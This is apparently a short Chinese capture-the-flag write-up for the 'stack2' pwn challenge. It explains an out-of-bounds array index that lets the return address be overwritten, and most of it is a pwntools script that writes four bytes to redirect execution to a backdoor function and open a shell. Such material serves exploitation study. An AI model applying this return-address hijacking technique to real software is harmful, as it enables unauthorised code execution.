题目

题目链接

checksec

这是什么鸭

IDA

这是什么鸭

有一个利用 v13 越界的漏洞,直接劫持返回地址到后门即可

backdoor

这是什么鸭

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.log_level = "debug"
context.arch = "i386"

io = process("./stack2")

io.recvuntil(b"have:\n")
io.sendline(b'1')

io.recvuntil(b"numbers\n")
io.sendline(b'1')
io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'132')
io.recvuntil(b"number:\n")
io.sendline(b"155")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'133')
io.recvuntil(b"number:\n")
io.sendline(b"133")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'134')
io.recvuntil(b"number:\n")
io.sendline(b"4")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'135')
io.recvuntil(b"number:\n")
io.sendline(b"8")

io.recvuntil(b"exit\n")
io.sendline(b'5')

io.interactive()